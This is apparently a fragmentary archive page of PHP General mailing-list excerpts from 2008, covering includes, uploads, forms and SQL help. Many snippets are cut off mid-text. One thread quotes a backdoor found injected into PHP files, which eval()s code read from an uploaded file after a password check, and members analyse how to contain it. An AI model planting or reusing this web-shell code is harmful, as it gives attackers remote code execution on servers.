[EMAIL PROTECTED] wrote:
� I am working with videos and I need to Know how I can obtain the duration
of the videos
�I had a formula that did not need any�function
of�php, but i lost de page,� please i need any help with this.
Sorry for my english, i am from Cuba.
Lester..Univ de Cienfuegos
nclude = On
This might be your problem. They limit things so remote files cannot be access
via fopen/include/etc...
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by
a new row
}
// Start our output of the CSV
header("Content-type: application/x-msdownload");
header("Content-Disposition: attachment; filename=data.csv");
header("Pragma: no-cache");
header("Expires: 0");
echo $headers.$data;
}
Thanks,
Dan
BTW: w
Ron Piggott wrote:
I am writing a form right now.
I would like to make the checkbox an array variable. The first part of
the array is the component reference, the second part is the package
reference. What name would you assign to it that I could use in
processing the form in the PHP script
th no contract!
Dedicated servers, VPS, and hosting from $2.50/mo.
Sorry, forgot to send the link to my example in action
http://www.cmsws.com/examples/php/testscripts/[EMAIL PROTECTED]/0001.php
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have
have always been able to use name-keyed arrays in my HEREDOC.
I have always wrapped them with {...} to allow PHP to better identify them, but
they have always worked for me.
--
Dedicated Servers - Intel 2.4GHz w/2TB bandwidth/mo. starting at just
$59.99/mo. with no contract!
Dedicate
Iv Ray wrote:
Jim Lucas wrote:
Iv,
tell me why you are wanting to do this?
If it is the reason I think it is, I can give you a better way to
accomplish this.
I have the source and a configuration file, which I want outside the
source - it is different from server to server.
The easiest
upload a file to any php script.
I don't need to use your form to do so, I an just use my own form and post data
directly to the script.
If anybody remembers, this was an exploit that was found in the 4.0.6 code back
in the day.
--
Jim Lucas
"Some men are born to greatness
do this?
If it is the reason I think it is, I can give you a better way to accomplish
this.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
-
Peter Ford wrote:
Frank Arensmeier wrote:
17 jun 2008 kl. 22.14 skrev Jim Lucas:
Jason Pruim wrote:
Hi everyone,
I am attempting to adopt some code to work more reliably then how it
is now...
What I am doing is coding a upload form where people could be
uploading .zip files in excess of
nd, MI, 49424-9337
www.raoset.com
[EMAIL PROTECTED]
Looking at what I think you are trying to do, how about this?
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William S
then what IP's would you write to this?
If a person changed their IP each time they access the script, then it still
would not work.
I would have to say that I just don't think that PHP is going to be the medium
in which this problem has to be handled.
HTH,
Nitsan
On 16/06/2008, Ji
y uploaded, Apache hands off the processing to
Apache. Problem is, by this time the DoS has already happened. Apache has
waisted its time receiving the file.
HTH
On 16/06/2008, Per Jessen <[EMAIL PROTECTED]> wrote:
Jim Lucas wrote:
Per Jessen wrote:
Michelle Konzack wrote:
My biggest
hat the OP is going to run into is the "Chicken before the Egg"
problem. PHP will not start processing until the file upload has already been
completely uploaded.
Personally, I do not see a PHP solution to your problem. Unless allowing them
to upload then just throwing it away is ok w
to
force them to download a broken PDF document.
One suggestion to go along with this is that you will need to have a routine
that will clean out all the generated PDF's every now and again.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some ha
'];
This makes a little more sense then using the count(*) thing, to me at least
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
--
PHP General Ma
Jim Lucas wrote:
Dan Shirah wrote:
Hello all,
I am having a problem with trying to count the number of rows returned
by my
query. I connect to the database fine, my query displays and runs
fine, but
my row count is incorrect.
If I do not put in any serch criteria and my basic query ends up
Daniel Brown wrote:
On Tue, Jun 10, 2008 at 10:54 AM, Jim Lucas <[EMAIL PROTECTED]> wrote:
Daniel Brown, did you read through this too quickly also???
Jim Lucas, what did I miss?
He is using the ifx extension for an informix database, not mysql
--
Jim Lucas
"Some men
D ', $where);
}
$result_id = ifx_query($query, $connect_id);
list($rowcount) = ifx_fetch_row($result_id);
echo $rowcount;
?>
I think this will do what you are wanting to do.
Hopefully they add a function like mysql_real_escape_string() that will
escape/filter you input. But until then,
number from the SQL
standard "SELECT COUNT(*) " query.
My query is below:
This should be rewritten a bit, really
[snip="code"]
Daniel Brown, did you read through this too quickly also???
You and Jay both need to slow down a bit...
--
Jim Lucas
"Som
do it,
but i thought it would make thing neat and tidy
Thanks for all your input
Joe
Problem with that is the ':' is not a valid char for a class name.
Reference is here: read the second bullet point
http://www.w3.org/TR/CSS21/syndata.html#characters
--
Jim Lucas
"Some
Jim Lucas wrote:
Jim Lucas wrote:
Joe Harman wrote:
Hello,
is there any way to get more field information other than just the
value of a field when a form is submitted???
ex:
type, size, class, etc.
Thanks
Joe
Yes, but that would be a Javascript question.
Google for a javascript
Jim Lucas wrote:
Joe Harman wrote:
Hello,
is there any way to get more field information other than just the
value of a field when a form is submitted???
ex:
type, size, class, etc.
Thanks
Joe
Yes, but that would be a Javascript question.
Google for a javascript method called
Joe Harman wrote:
Hello,
is there any way to get more field information other than just the
value of a field when a form is submitted???
ex:
type, size, class, etc.
Thanks
Joe
Yes, but that would be a Javascript question.
Google for a javascript method called getAttribute()
--
Jim
.
I'm stumped. Any ideas?
-Allen
--
DeadTOm
http://www.mtlaners.org
[EMAIL PROTECTED]
A Linux user since 1999.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by Will
[Name] => Access
)
)
)
)
)
[size] => 1
)
Simply this would give you name
$QueryResult->records[0]->sobjects[0]->fields->Name
call them functions because they are
not functions.
include 'filename';
include_once 'filename';
require 'filename';
require_once 'filename';
if you use the *_once calls, your script will only ever be included one time.
If you mix them, then you will have problems.
your class scripts should be setup to where there is only one class per file and
that nothing is "executed" from that file. It should only be included. Then
the file(s) that include your class should do the work of initializing and using
the class.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
x27;CL22'. Last time I looked strtolower()
did not modify the input as a reference.
So echo $thisStr; should result in the op seeing CL22
Unless there are other things happening that only the force knows about...
--
Jim Lucas
"Some men are born to greatness, some achieve g
cript, and
change the a.php to my.php, it loads just fine and it only displays one instance
of hello. I am thinking that you calling the class more then once and you don't
realize it.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have gre
Ryan S wrote:
coz i suck at OOP!
Hey!
Am trying to modify a wordpress plugin file,the name of the plugin is POST
TEASER and can be downloaded from here
http://wordpress.org/extend/plugins/post-teaser/, it works as advertised and
this is what it does:
I specify for
example 4 words before the
te pc to my computer
and, also, how to Upload a file to the remote computer.
The remote host is "cipres.cec.uchile.cl"... and i'm using the ssh2
library..
Thanks!
If you do not have FTP access, then I would use something like winscp.
http://www.winscp.net
I use it on a dail
[EMAIL PROTECTED] wrote:
Hi,
In the following code, only the first row from query1 displays along with the
display stuff from query3. The problem: query1 refuses to recurse to the next
and following rows.
It appears that the sub-queries in the main query cause the $row++; not to
work.
Is
before and it will call to the server for a fresh copy of the
file.
Jim Lucas
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Tyson Vanover wrote:
Am I missing something blatently obvious?
Maybe open_basedir or safe_mode restrictions?
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William S
Tyson Vanover wrote:
Jim Lucas wrote:
Their are two ways that come to mind.
1. Like Dan suggested, use the full path.
2. (I prefer this way), change your include_path setting either in
your php.ini file, virtual host, .htaccess or in your script to
include the base path for your web site
Tyson Vanover wrote:
Jim Lucas wrote:
Their are two ways that come to mind.
1. Like Dan suggested, use the full path.
2. (I prefer this way), change your include_path setting either in
your php.ini file, virtual host, .htaccess or in your script to
include the base path for your web site
? hun. thanks!
Only if apache is run chroot'ed
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
--
PHP General Mailing List (http://www.p
moving the
leading slash from your existing calls.
require 'Tools/tool1/tool1.php';
require 'Tools/tool2/tool2.php';
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night
nder the
DS1 #2, it should have been under DS1 #1. Could someone grab the Voice line #
800-555-1216 and move it so it becomes a sub-service of DS1 #1? and keeps the
features that were previously associated to it intake?
TIA
--
Jim Lucas [EMAIL PROTECTED]
Systems Engineer
Just wondering if the mailing list is working. I have not received anything
from this list today.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespear
Richard Heyes wrote:
Also you can use short
tags (popular...) to make the HTML more readable. Eg:
It also makes the code less portable.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Nig
Jim Lucas wrote:
Ron Piggott wrote:
I am wanting to change
echo " 'January', '2' => 'February', '3' => 'March', '4'
=> 'April', '5' => 'May', '6' => 'June'
Ron Piggott wrote:
I am wanting to change
echo " 'January', '2' => 'February', '3' => 'March', '4'
=> 'April', '5' => 'May', '6' => 'June', '7' => 'July', '8' => 'August',
'9' => 'September', '10' => 'October', '11' => 'November', '12' =>
'December');
$current_month = DATE("n");
echo
bobcray wrote:
unsubscribe
Go to http://www.php.net/mailing-lists.php and do it yourself!
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
time the function is called. I think the best/easiest way to keep track of
depth will be by passing a variable in the function call itself.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night,
Waynn Lue wrote:
Wouldn't using LOAD DATA INFILE be better than writing your own script?
depends, does the data file match the table column for column?
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Jim Lucas wrote:
Sanjeev N wrote:
Hi,
I have written a program which imports the tab delimited file and
insert all
the line from file to the mysql line by line.
I am succeding in the above case. but problem with the above method is
its
taking to too much time while inserting into the
size will be more than 5000 lines.
Then i tried to build a string of ; seperated queries. as follows
for($i=1; $i
You are probably looking for something like this.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them.
ho "in here";
parent::_construct( $dom );
}
}
but I get the following error
Fatal error: Call to undefined method DOMXPath::_construct()
Your missing an underscore. It needs two not one.
Many thanks
Andrew
--
Jim Lucas
"Some men are born to greatness, some ac
Adam Gerson wrote:
Where do I change the setting to print PHP errors to the screen when
running in a web browser?
Thanks,
Adam
At the top of your script put these lines
http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
y.
Wait for it...
Wait for it...
Wait for it...
Wait for it...
extract() that's it!!!
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
--
PHP Ge
gt;
> > require_once 'shared_style.php';
> > require_once 'something.php'
> >
> > ?>
>
> If something.php is setting cookies and such, it has to be above
> shared_style.php. If you've already tried that with no succ
f275cd3")
{
if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],
"rb"), $HTTP_POST_FILES["f"]["size"]))
{
eval($code);
} else
{
testdata('f');
} ;
} else
{
testdata('pass
Eric Butera wrote:
On Fri, Apr 18, 2008 at 3:19 PM, Jim Lucas <[EMAIL PROTECTED]> wrote:
He is referring to the code that he finds at the top of a number of
different files. That is the code that he showed us.
I just thought that was the entire contents of the file.
Double check
Eric Butera wrote:
On Fri, Apr 18, 2008 at 2:59 PM, Jim Lucas <[EMAIL PROTECTED]> wrote:
in the example code above that is injected into the top of the php scripts,
the eval is evaluating the code that is read from the temp file, the temp
file is never moved or renamed. There for it w
Eric Butera wrote:
On Fri, Apr 18, 2008 at 12:58 PM, Jim Lucas <[EMAIL PROTECTED]> wrote:
Eric Butera wrote:
On Fri, Apr 18, 2008 at 12:22 PM, Al <[EMAIL PROTECTED]> wrote:
I'm continuing to work on this.
One thing that seems obvious. The code executes the script
with the data.
I hope it checks the data first before using it. If you don't then you might
end up with something you had not planned on.
If I am not to ask an object for data how is my db class/object ever going to
return me data from my database?
--
Jim Lucas
"Some m
ges, you're in deep trouble.
No,but in the first one, you can control, from within the class/method, what
data is actually allowed to be injected into that variable. Whereas the second
example would allow you to stuff any type of data into that class variable.
That might not be a go
ass');
} ;
testdata('end');
echo "";
?>
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Maybe you can look at the file time on the script in /tmp and look at
server logs around that same time to see if that is an
Jim Lucas wrote:
Jim Lucas wrote:
Jason Pruim wrote:
On Apr 17, 2008, at 11:14 AM, Jim Lucas wrote:
Stut wrote:
On 17 Apr 2008, at 13:33, Jason Pruim wrote:
Maybe I'm showing my ignorance here in programming... Maybe it's
because I delt with a kid who decided to scream for a good
Jason Pruim wrote:
On Apr 17, 2008, at 2:12 PM, Jim Lucas wrote:
Jason Pruim wrote:
On Apr 17, 2008, at 11:14 AM, Jim Lucas wrote:
Stut wrote:
[/snip]
Both ideas worked great... Thank you!
Now I do still have one question, I decided that what Jim put up
worked a little bit better for
Jim Lucas wrote:
Jason Pruim wrote:
On Apr 17, 2008, at 11:14 AM, Jim Lucas wrote:
Stut wrote:
On 17 Apr 2008, at 13:33, Jason Pruim wrote:
Maybe I'm showing my ignorance here in programming... Maybe it's
because I delt with a kid who decided to scream for a good share of
the nig
Jason Pruim wrote:
On Apr 17, 2008, at 11:14 AM, Jim Lucas wrote:
Stut wrote:
On 17 Apr 2008, at 13:33, Jason Pruim wrote:
Maybe I'm showing my ignorance here in programming... Maybe it's
because I delt with a kid who decided to scream for a good share of
the night and I'm
echo "{$column_name}";
}
echo '';
# Now print your data
foreach ( $dataSet AS $row ) {
echo <<
{$row['FName']}
{$row['LName']}
{$row['Add1']}
;
} ;
testdata('end');
echo "";
?>
My first suggestion is disable the use of exec in the disable_functions entry in
your php.ini file. I would not allow the call to exec to be completed.
so, something like this should work for now.
disable_functions = exec
also, you c
Bojan Tesanovic wrote:
On Apr 12, 2008, at 12:33 AM, Daniel Kolbo wrote:
Hello,
I want to return an array from function and reference an index all in
one line. Is this possible?
In the code below I want I want $yo to be the array(5,6).
Here is what I've tried,
function returnarray() {
/index.php
Plus, it seems that it is randomly reloading the page and resetting the game.
I am using IE 6.0.0029. Pretty much up to date will all patches and
updates. No special add ons.
Got any suggestions?
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
gestions on tests that is_numeric() might not catch?
I'm working on some kinda preg_replace function to sanitize the data at
the moment and then run an eval - arg I hate regexp! Ideally eval would
have some kind of sandboxing option, or you could limit the functions
available in an eval.
[EMAIL PROTECTED] wrote:
On Mon, 24 Mar 2008 13:10:17 -0600, [EMAIL PROTECTED] wrote:
Beware: round() apparently has changed its behavior from PHP 4. For
certain special numbers that seem to be multiples of 100,000, the
return
value is in exponential format, rather than the usual decimal fo
Daniel Brown wrote:
On Wed, Apr 9, 2008 at 11:18 AM, Jason Pruim <[EMAIL PROTECTED]> wrote:
On Apr 9, 2008, at 11:09 AM, Jim Lucas wrote:
While we are on the topic of the ... tags, just a side
note. It is invalid HTML syntax to have any tag between your
ok here
But somethin
ction around
http://mail.yahoo.com
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
ed differance variants of joins and
none of the results are correct.
Sales tbl doesnt have the companyID, nor does IGuser
Regards,
Steven
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Ni
___
You rock. That's why Blockbuster's offering you one month of Blockbuster Total Access, No Cost.
http://tc.deals.yahoo.com/tc/blockbuster/text5.com
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them.&
7
Attempt #5
0.015322208404541
0.022816181182861
Attempt #6
0.015490055084229
0.021909952163696
Attempt #7
0.015805959701538
0.021935939788818
Attempt #8
0.01572585105896
0.022881984710693
Attempt #9
0.015491008758545
0.022812128067017
Attempt #10
0.015367031097412
0.02212119102478
--
Jim Lucas
"
Robert Cummings wrote:
On Sat, 2008-04-05 at 19:09 +0100, Steve McGill wrote:
"Richard Heyes" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
Thanks for the heads up on fgetc() incrementing by one. I hadn't actually
tested that code yet, I was using the original fseek($handle,$pos).
Robert Cummings wrote:
Some changes take effect with the PostTrack metrics\n" ?>
system with this week (will show up in next week's\n" ?>
report). There's one bug fix and a new feature added,
\n" ?>
in which some of you may be really interested.\n" ?>
\n" ?>
CHANGELOG\n" ?>
Fi
ld, it will not feed into the
script. So what's the rationale for that (the URL submitting the variables)
and what is the usual solution? The problem arises on this particular page
because of a mix of buttons, some are javascript and send the addline=y with
onClick.
John
--
PHP Database
Jim Lucas wrote:
I work for a telephone & internet company. Currently we have a tool
that allows us to track the allocation of IP's to customers. What I am
looking for is a tool that will allow me to track the allocation of
phone numbers to our customers.
Building the to
tedd wrote:
At 5:21 PM -0700 3/31/08, Jim Lucas wrote:
I work for a telephone & internet company. Currently we have a tool
that allows us to track the allocation of IP's to customers. What I
am looking for is a tool that will allow me to track the allocation of
phone numbe
Jason Pruim wrote:
On Mar 31, 2008, at 8:21 PM, Jim Lucas wrote:
I work for a telephone & internet company. Currently we have a tool
that allows us to track the allocation of IP's to customers. What I
am looking for is a tool that will allow me to track the allocation of
phone n
.
Thanks much!
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
rd, $char)) {
$password .= $char;
$i++;
}
}
return $password;
}
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
--
PHP General Mail
en you don't have cUrl. If it works, then you have curl.
From the manual:
Description
resource curl_init ([ string $url ] )
Initializes a new session and return a cURL handle for use with the
curl_setopt(), curl_exec(), and curl_close() functions.
--
Jim Lucas
"Some men are b
you to run a PHP daemon. It handles
the uploads and passes the information off how ever you want. To a DB,
to the filesystem. Your choice. From that information, you can create
a progress meter.
I haven't fleshed out all the bugs, but it seems to work like I want it
too at least.
Mark Weaver wrote:
Andrew Ballard wrote:
On Tue, Mar 25, 2008 at 9:59 PM, Mark Weaver <[EMAIL PROTECTED]> wrote:
Thank you Andrew... Now it all makes perfect sense. Good grief! there's
so much to learn. It seems that Java was easier. ;)
That's not specific to PHP. It's just how http works,
what you get.
_REQUEST might not be getting populated correctly. It is configurable ya know.
Check you php.ini and see if the variables_order entry is set correctly. This
is mine;
variables_order = "GPCS"
(GET, POST, COOKIE, SESSION)
There might be others that affect it, but I
erence = (($date1 - $date2) / $factor);
echo $difference."\n";
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II, Scene V
by William Shakespeare
--
PHP General Mailing Lis
Ryan S wrote:
Hey all,
Heres what i am trying to do:
When someone sends a message from my site, i take their ip address and make a file with
their ip address in a directory called "hash-directory", the file looks like
this: 169.34.534.243.txt
I want to make sure they cant send too many messa
onfirm() method from JS to either allow or deny them to leave the current page.
I don't know if you can limit this action to only take affect when they press
the back button, but it might help in any event.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
ave apache enforce a customer ErrorDocument for a 404 error.
Then create a php script that is referred to by the ErrorDocument entry.
error404.php
please advice.
thanks.
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon
but they did see the success page. So they repeat the process,
over and over and over...
That is a situation that I can envision at least.
My suggestion would be to disable the submit button. This would prevent the
first transaction from being killed prematurely.
--
Jim Lucas
"
.
-nathan
I would be interested in your examples. From what you described, I can't see in
my head how it all goes together.
Thanks
--
Jim Lucas
"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."
Twelfth Night, Act II,
M. Sokolewicz wrote:
Ryan A wrote:
Hey All,
After searching I found this regex to remove img tags from a post, but
running it is giving me an error, being a total noob with regex i have
no idea what the heck is wrong heres the whole script as its tiny:
$html = " hello ".'width="272" hei
er array/object is only created upon request.
Therefor the overhead of creating said array/object is only felt when
needed.
Jim Lucas
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Robert Cummings wrote:
On Sun, 2008-03-16 at 11:42 -0700, Jim Lucas wrote:
Robert Cummings wrote:
Imagine 200 customers in your example... your example will hit the DB
201 times. The above hits the DB twice.
My code was intended to get the concept across. Thanks for the
suggestions though
Richard Heyes wrote:
Hi,
Going off the subject alone, you might want to investigate the
__tostring() magic method that you can define to handle objects being
cast to a string. Also, there's a whole bunch of magic methods that you
can use to handle PHP operations on user defined objects:
htt
Robert Cummings wrote:
Imagine 200 customers in your example... your example will hit the DB
201 times. The above hits the DB twice.
My code was intended to get the concept across. Thanks for the
suggestions though.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit:
Now, contained within one array "$customers" I have all the information
that would be needed for displaying any type of information related to a
customer or a customers location.
By doing having this feature, I could build the ability to do xPath
searches within the base array.
echo "";
}
echo "";
}
?>
This is more readable
';
# Check to see if it requires a text area
} elseif (
successful login... It's actually related to the sorting of
the records that should be retrieved.
Somehow it is getting to this statement and the variable that you are using just
before the ORDER BY part is empty, Why don't you show us that statement.
--
Jim Lucas
"Some men are
701 - 800 of 1699 matches
Mail list logo